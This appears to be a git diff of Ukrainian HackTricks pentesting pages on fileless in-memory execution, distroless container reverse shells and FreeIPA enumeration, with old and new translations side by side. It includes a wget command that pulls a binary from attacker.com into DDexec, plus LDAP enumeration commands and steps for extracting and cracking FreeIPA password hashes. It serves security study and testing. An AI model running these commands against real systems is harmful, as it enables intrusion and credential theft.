**DDexec / EverythingExec** дозволить вам завантажувати та **виконувати** ваш власний **шелл-код** або **будь-який бінарний файл** з **пам'яті**.
**DDexec / EverythingExec** дозволить вам завантажити та **виконати** ваш власний **shellcode** або **будь-який бінарний файл** з **пам'яті**.
{% endhint %}
```bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
```
Для отримання додаткової інформації про цю техніку перевірте Github або:
{% content-ref url="ddexec.md" %}
@ -95,60 +94,61 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
### MemExec
[**Memexec**](https://github.com/arget13/memexec) - це природний наступний крок після DDexec. Це **демонізований shellcode DDexec**, тому кожного разу, коли вам потрібно **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та запуску**.
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP зворотним шелом** за посиланням [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP реверс-шелу** за адресою [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
З аналогічною метою DDexec, техніка [**memdlopen**](https://github.com/arget13/memdlopen) дозволяє **легший спосіб завантаження бінарних файлів** в пам'ять для подальшого їх виконання. Це може навіть дозволити завантажувати бінарні файли залежностей.
З подібною метою до DDexec, техніка [**memdlopen**](https://github.com/arget13/memdlopen) дозволяє **легше завантажувати бінарні файли** в пам'ять для подальшого виконання. Це може навіть дозволити завантажувати бінарні файли з залежностями.
## Обхід Distroless
## Distroless Bypass
### Що таке distroless
Контейнери Distroless містять лише **мінімальний набір компонентів, необхідних для запуску конкретного додатка або служби**, таких як бібліотеки та залежності виконання, але виключають більші компоненти, такі як менеджер пакетів, оболонка або службові програми.
Контейнери distroless містять лише **найнеобхідні компоненти для запуску конкретного застосунку або служби**, такі як бібліотеки та залежності часу виконання, але виключають більші компоненти, такі як менеджер пакетів, оболонка або системні утиліти.
Метою контейнерів Distroless є **зменшення поверхні атаки контейнерів шляхом усунення непотрібних компонентів** та мінімізація кількості вразливостей, які можуть бути використані.
Мета контейнерів distroless полягає в тому, щоб **зменшити поверхню атаки контейнерів, усунувши непотрібні компоненти** та мінімізуючи кількість вразливостей, які можуть бути використані.
### Зворотній шел
### Реверс-шел
У контейнері Distroless ви можливо **навіть не знайдете `sh` або `bash`**, щоб отримати звичайну оболонку. Ви також не знайдете бінарних файлів, таких як `ls`, `whoami`, `id`... все, що зазвичай виконуєте в системі.
У контейнері distroless ви, можливо, **навіть не знайдете `sh` або `bash`**, щоб отримати звичайну оболонку. Ви також не знайдете бінарні файли, такі як `ls`, `whoami`, `id`... все, що ви зазвичай запускаєте в системі.
{% hint style="warning" %}
Отже, ви **не зможете** отримати **зворотню оболонку** або **провести перелік** системи, як зазвичай.
Отже, ви **не зможете** отримати **реверс-шел** або **перерахувати** систему, як зазвичай.
{% endhint %}
Однак, якщо компрометований контейнер запускає, наприклад, веб-додаток flask, то встановлено Python, і тому ви можете отримати **зворотню оболонку Python**. Якщо він запускається на node, ви можете отримати оболонку Node, і те ж саме з практично будь-якою **мовою сценаріїв**.
Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-якої **скриптової мови**.
{% hint style="success" %}
Використовуючи мову сценаріїв, ви можете **провести перелік системи**, використовуючи можливості мови.
Використовуючи скриптову мову, ви могли б **перерахувати систему**, використовуючи можливості мови.
{% endhint %}
Якщо відсутні **захисти `read-only/no-exec`**, ви можете зловживати своєю зворотною оболонкою, щоб **записати свої бінарні файли в файлову систему** та **виконати** їх.
Якщо немає **захистів `read-only/no-exec`**, ви могли б зловживати своїм реверс-шелом, щоб **записати у файлову систему свої бінарні файли** та **виконати** їх.
{% hint style="success" %}
Однак у таких контейнерах зазвичай існуватимуть ці захисти, але ви можете використати **попередні техніки виконання в пам'яті для їх обходу**.
Однак у таких контейнерах ці захисти зазвичай існують, але ви могли б використовувати **попередні техніки виконання в пам'яті, щоб обійти їх**.
{% endhint %}
Ви можете знайти **приклади** того, як **експлуатувати деякі вразливості RCE** для отримання **зворотних оболонок мов сценаріїв** та виконання бінарних файлів з пам'яті за посиланням [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Ви можете знайти **приклади** того, як **експлуатувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра хакера** та взлам невзламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою, як письмово, так і усно_).
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримка HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,79 +1,80 @@
# Віджаття FreeIPA
# FreeIPA Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Основна інформація
## Basic Information
FreeIPA є відкритим **альтернативним** до Microsoft Windows **Active Directory**, головним чином для **Unix** середовищ. Вона поєднує повний **LDAP каталог** з MIT **Kerberos** Центром розподілу ключів для управління, подібного до Active Directory. Використовуючи Dogtag **Certificate System** для управління сертифікатами CA & RA, вона підтримує **багатофакторну** аутентифікацію, включаючи смарт-карти. SSSD інтегрований для процесів аутентифікації Unix.
FreeIPA є відкритим **альтернативою** Microsoft Windows **Active Directory**, в основному для **Unix** середовищ. Він поєднує в собі повний **LDAP каталог** з MIT **Kerberos** Центром Розподілу Ключів для управління, подібним до Active Directory. Використовуючи систему сертифікатів Dogtag для управління сертифікатами CA та RA, він підтримує **багатофакторну** аутентифікацію, включаючи смарт-картки. SSSD інтегровано для процесів аутентифікації Unix.
## Відбитки
## Fingerprints
### Файли та змінні середовища
### Files & Environment Variables
- Файл `/etc/krb5.conf` - це місце зберігання інформації клієнта Kerberos, необхідної для вступу в домен. Це включає місцезнаходження KDC та адміністративних серверів, налаштування за замовчуванням та відображення.
- Системні налаштування за замовчуванням для клієнтів та серверів IPA встановлені у файлі, розташованому за адресою `/etc/ipa/default.conf`.
- Хостам у домені необхідно мати файл `krb5.keytab` за адресою `/etc/krb5.keytab` для процесів аутентифікації.
- Різні змінні середовища (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) використовуються для вказівки на конкретні файли та налаштування, що стосуються аутентифікації Kerberos.
* Файл за адресою `/etc/krb5.conf` є місцем, де зберігається інформація клієнта Kerberos, необхідна для реєстрації в домені. Це включає місця розташування KDC та адміністративних серверів, налаштування за замовчуванням та відображення.
* Системні за замовчуванням для клієнтів та серверів IPA встановлюються у файлі, розташованому за адресою `/etc/ipa/default.conf`.
* Хости в домені повинні мати файл `krb5.keytab` за адресою `/etc/krb5.keytab` для процесів аутентифікації.
* Різні змінні середовища (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) використовуються для вказівки на конкретні файли та налаштування, що стосуються аутентифікації Kerberos.
### Виконувані файли
### Binaries
Інструменти, такі як `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` та `kvno`, є центральними для управління доменами FreeIPA, обробки квитків Kerberos, зміни паролів та отримання сервісних квитків, серед інших функцій.
### Мережа
### Network
Надається ілюстрація для зображення типового налаштування сервера FreeIPA.
Надається ілюстрація, щоб зобразити типову конфігурацію сервера FreeIPA.
## Аутентифікація
## Authentication
Аутентифікація в FreeIPA, використовуючи **Kerberos**, відображає ту, що в **Active Directory**. Доступ до ресурсів домену потребує дійсного квитка Kerberos, який може бути збережений в різних місцях в залежності від конфігурації домену FreeIPA.
Аутентифікація в FreeIPA, використовуючи **Kerberos**, відображає таку в **Active Directory**. Доступ до ресурсів домену вимагає дійсного квитка Kerberos, який може зберігатися в різних місцях залежно від конфігурації домену FreeIPA.
### **Файли квитків CCACHE**
### **CCACHE Ticket Files**
Файли CCACHE, зазвичай зберігаються в **`/tmp`** з дозволами **600**, є бінарними форматами для зберігання облікових даних Kerberos, важливих для аутентифікації без текстового пароля користувача через їх переносність. Розбір квитка CCACHE можна виконати за допомогою команди `klist`, а повторне використання дійсного квитка CCACHE включає експорт `KRB5CCNAME` до шляху файлу квитка.
Файли CCACHE, зазвичай зберігаються в **`/tmp`** з **600** правами доступу, є бінарними форматами для зберігання облікових даних Kerberos, важливими для аутентифікації без відкритого пароля користувача завдяки їх портативності. Аналіз квитка CCACHE можна виконати за допомогою команди `klist`, а повторне використання дійсного квитка CCACHE передбачає експорт `KRB5CCNAME` до шляху файлу квитка.
### **Ключовий кільцевий набір Unix**
### **Unix Keyring**
Альтернативно, квитки CCACHE можна зберігати в ключовому кільці Linux, що пропонує більше контролю над управлінням квитками. Обсяг зберігання квитків варіюється (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), з `klist` здатним розбирати цю інформацію для користувача. Однак повторне використання квитка CCACHE з ключового кільця Unix може викликати виклики, існують інструменти, такі як **Tickey** для видобування квитків Kerberos.
Альтернативно, квитки CCACHE можуть зберігатися в ключовій системі Linux, що пропонує більше контролю над управлінням квитками. Обсяг зберігання квитків варіюється (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), при цьому `klist` здатний аналізувати цю інформацію для користувача. Однак повторне використання квитка CCACHE з ключової системи Unix може бути складним, з такими інструментами, як **Tickey**, доступними для витягування квитків Kerberos.
### Keytab
Файли Keytab, що містять принципали Kerberos та зашифровані ключі, є критичними для отримання дійсних квитків для надання квитків (TGT) без необхідності пароля принципала. Розбір та повторне використання облікових даних з файлів Keytab можна легко виконати за допомогою утиліт, таких як `klist`, та сценаріїв, таких як **KeytabParser**.
Файли keytab, що містять принципали Kerberos та зашифровані ключі, є критично важливими для отримання дійсних квитків на надання квитків (TGT) без необхідності пароля принципала. Аналіз та повторне використання облікових даних з файлів keytab можна легко виконати за допомогою утиліт, таких як `klist`, та скриптів, таких як **KeytabParser**.
### Шпаргалка
### Cheatsheet
Більше інформації про використання квитків в Linux можна знайти за наступним посиланням:
Ви можете знайти більше інформації про те, як використовувати квитки в linux за наступним посиланням:
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
{% endcontent-ref %}
## Перелік
## Enumeration
{% hint style="warning" %}
Ви можете виконати **перелік** через **ldap** та інші **бінарні** інструменти або **підключення до веб-сторінки на порті 443 сервера FreeIPA**.
Ви можете виконати **перерахування** через **ldap** та інші **бінарні** інструменти, або **підключившись до веб-сторінки на порту 443 сервера FreeIPA**.
{% endhint %}
### Хости, Користувачі та Групи <a href="#4b3b" id="4b3b"></a>
### Hosts, Users, and Groups <a href="#id-4b3b" id="id-4b3b"></a>
Можливо створювати **хости**, **користувачів** та **групи**. Хости та користувачі розміщуються в контейнерах, які називаються "**Групи хостів**" та "**Групи користувачів**" відповідно. Це схоже на **Організаційні одиниці** (OU).
Можна створювати **хости**, **користувачів** та **групи**. Хости та користувачі сортуються в контейнери, звані “**Групи Хостів**” та “**Групи Користувачів**” відповідно. Це подібно до **Організаційних Одиниць** (OU).
За замовчуванням у FreeIPA, LDAP-сервер дозволяє **анонімні зв'язки**, і велика кількість даних доступна для переліку **без аутентифікації**. Це може перелічити всі дані, доступні без аутентифікації:
За замовчуванням у FreeIPA сервер LDAP дозволяє **анонімні прив'язки**, і велика частина даних є перерахованою **неаутентифікованою**. Це може перерахувати всі дані, доступні неаутентифікованим:
```
ldapsearch -x
```
Для отримання **більш докладної інформації** вам потрібно використовувати **аутентифіковану** сесію (перевірте розділ Аутентифікація, щоб дізнатися, як підготувати аутентифіковану сесію).
Щоб отримати **більше інформації**, вам потрібно використовувати **автентифіковану** сесію (перегляньте розділ Аутентифікація, щоб дізнатися, як підготувати автентифіковану сесію).
```bash
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -87,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
```
З машини, приєднаної до домену, ви зможете використовувати **встановлені бінарні файли** для переліку домену:
З машини, приєднаної до домену, ви зможете використовувати **встановлені двійкові файли** для перерахунку домену:
```bash
ipa user-find
ipa usergroup-find
@ -102,33 +103,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all
```
{% hint style="info" %}
Користувач **admin** **FreeIPA** еквівалентний **адміністраторам домену** з **AD**.
Користувач **admin** у **FreeIPA** є еквівалентом **domain admins** з **AD**.
{% endhint %}
### Хеші <a href="#482b" id="482b"></a>
### Hashes <a href="#id-482b" id="id-482b"></a>
Користувач **root** з **сервера IPA** має доступ до хешів паролів.
Користувач **root** з **IPA serve**r має доступ до паролів **hashes**.
* Хеш паролю користувача зберігається у вигляді **base64** в атрибуті "**userPassword**". Цей хеш може бути **SSHA512** (старі версії FreeIPA) або **PBKDF2\_SHA256**.
* **Nthash** паролю зберігається у вигляді **base64** в "**ipaNTHash**", якщо система інтегрована з **AD**.
* Парольний хеш користувача зберігається як **base64** в атрибуті “**userPassword**”. Цей хеш може бути **SSHA512** (старі версії FreeIPA) або **PBKDF2\_SHA256**.
* **Nthash** пароля зберігається як **base64** в “**ipaNTHash**”, якщо система має **інтеграцію** з **AD**.
Для розшифрування цих хешів:
Щоб зламати ці хеші:
• Якщо FreeIPA інтегрована з AD, **ipaNTHash** легко розшифрувати: Вам потрібно **декодувати** **base64** -> повторно закодувати його у вигляді **ASCII** шістнадцяткового -> John The Ripper або **hashcat** можуть допомогти швидко розшифрувати його
• Якщо freeIPA інтегровано з AD, **ipaNTHash** легко зламати: Вам слід **декодувати** **base64** -> повторно закодувати його як **ASCII** hex -> John The Ripper або **hashcat** можуть допомогти вам швидко його зламати
• Якщо використовується стара версія FreeIPA, то використовується **SSHA512**: Вам потрібно декодувати **base64** -> знайти хеш SSHA512 -> John The Ripper або **hashcat** можуть допомогти розшифрувати його
• Якщо використовується стара версія FreeIPA, то використовується **SSHA512**: Вам слід декодувати **base64** -> знайти SSHA512 **hash** -> John The Ripper або **hashcat** можуть допомогти вам його зламати
• Якщо використовується нова версія FreeIPA, то використовується **PBKDF2\_SHA256**: Вам потрібно декодувати **base64** -> знайти PBKDF2\_SHA256 -> його **довжина** 256 байт. John може працювати з 256 бітами (32 байти) -> SHA-265 використовується як псевдовипадкова функція, розмір блоку 32 байти -> ви можете використовувати лише перші 256 біт нашого хешу PBKDF2\_SHA256 -> John The Ripper або hashcat можуть допомогти розшифрувати його
• Якщо використовується нова версія FreeIPA, то використовується **PBKDF2\_SHA256**: Вам слід декодувати **base64** -> знайти PBKDF2\_SHA256 -> його **довжина** 256 байт. John може працювати з 256 бітами (32 байти) -> SHA-265 використовується як псевдовипадкова функція, розмір блоку 32 байти -> ви можете використовувати лише перші 256 біт нашого PBKDF2\_SHA256 хешу -> John The Ripper або hashcat можуть допомогти вам його зламати
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
Для вилучення хешів вам потрібно бути **root на сервері FreeIPA**, там ви можете використовувати інструмент **`dbscan`** для їх вилучення:
Щоб витягти хеші, вам потрібно бути **root на сервері FreeIPA**, там ви можете використовувати інструмент **`dbscan`** для їх витягування:
<figure><img src="../.gitbook/assets/image (196).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
### Правила HBAC <a href="#482b" id="482b"></a>
### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
Це правила, які надають конкретні дозволи користувачам або хостам для ресурсів (хостів, служб, груп служб...).
Це правила, які надають конкретні дозволи користувачам або хостам на ресурси (хости, сервіси, групи сервісів...)
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -137,9 +138,9 @@ ipa hbacrule-find
# Show info of rule
ipa hbacrule-show <hbacrule> --all
```
#### Правила Sudo
#### Sudo-Rules
FreeIPA дозволяє централізоване керування **правами sudo** за допомогою правил sudo. Ці правила дозволяють або обмежують виконання команд за допомогою sudo на хостах у межах домену. Зловмисник може потенційно визначити застосовні хости, користувачів та дозволені команди, переглянувши ці набори правил.
FreeIPA дозволяє централізований контроль над **sudo permissions** через sudo-правила. Ці правила дозволяють або обмежують виконання команд з sudo на хостах у домені. Зловмисник може потенційно визначити відповідні хости, користувачів та дозволені команди, досліджуючи ці набори правил.
```bash
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -150,15 +151,15 @@ ipa sudorule-show <sudorule> --all
```
### Контроль доступу на основі ролей
**Роль** складається з різних **привілеїв**, кожен з яких охоплює набір **дозволів**. Ці ролі можуть бути призначені користувачам, **групам** користувачів, **хостам**, групам хостів та сервісам. Наприклад, розглянемо роль "Адміністратор користувачів" у FreeIPA для ілюстрації цієї структури.
**Роль** складається з різних **привілеїв**, кожен з яких охоплює колекцію **дозволів**. Ці ролі можуть бути призначені Користувачам, Групам Користувачів, **Хостам**, Групам Хостів та Сервісам. Наприклад, розглянемо роль за замовчуванням “Адміністратор Користувачів” у FreeIPA, щоб проілюструвати цю структуру.
Роль `Адміністратор користувачів` має такі привілеї:
Роль `Адміністратор Користувачів` має ці привілеї:
- **Адміністратори користувачів**
- **Адміністратори груп**
- **Адміністратори етапів користувачів**
* **Адміністратори Користувачів**
* **Адміністратори Груп**
* **Адміністратори Користувачів Стадії**
За допомогою наступних команд можна перелічити ролі, привілеї та дозволи:
За допомогою наступних команд можна перерахувати ролі, привілеї та дозволи:
```bash
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
@ -170,43 +171,45 @@ ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all
```
### Приклад сценарію атаки
### Attack Scenario Example
У [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) ви можете знайти простий приклад того, як зловживати деякими дозволами для компрометації домену.
В [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) ви можете знайти простий приклад того, як зловживати деякими правами для компрометації домену.
### Linikatz/LinikatzV2
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
## Підвищення привілеїв
## Privesc
### ~~створення користувача root~~
{% hint style="warning" %}
Якщо ви можете **створити нового користувача з ім'ям `root`**, ви можете видаавати себе за нього і матимете можливість **SSH на будь-яку машину як root.**
Якщо ви можете **створити нового користувача з ім'ям `root`**, ви можете видавати себе за нього, і ви зможете **SSH на будь-яку машину як root.**
**ЦЕ БУЛО ВИПРАВЛЕНО.**
{% endhint %}
Ви можете перевірити детальний пояснення в [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
Ви можете перевірити детальне пояснення в [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
## References
## Посилання
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Змінні середовища Linux
# Linux Environment Variables
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
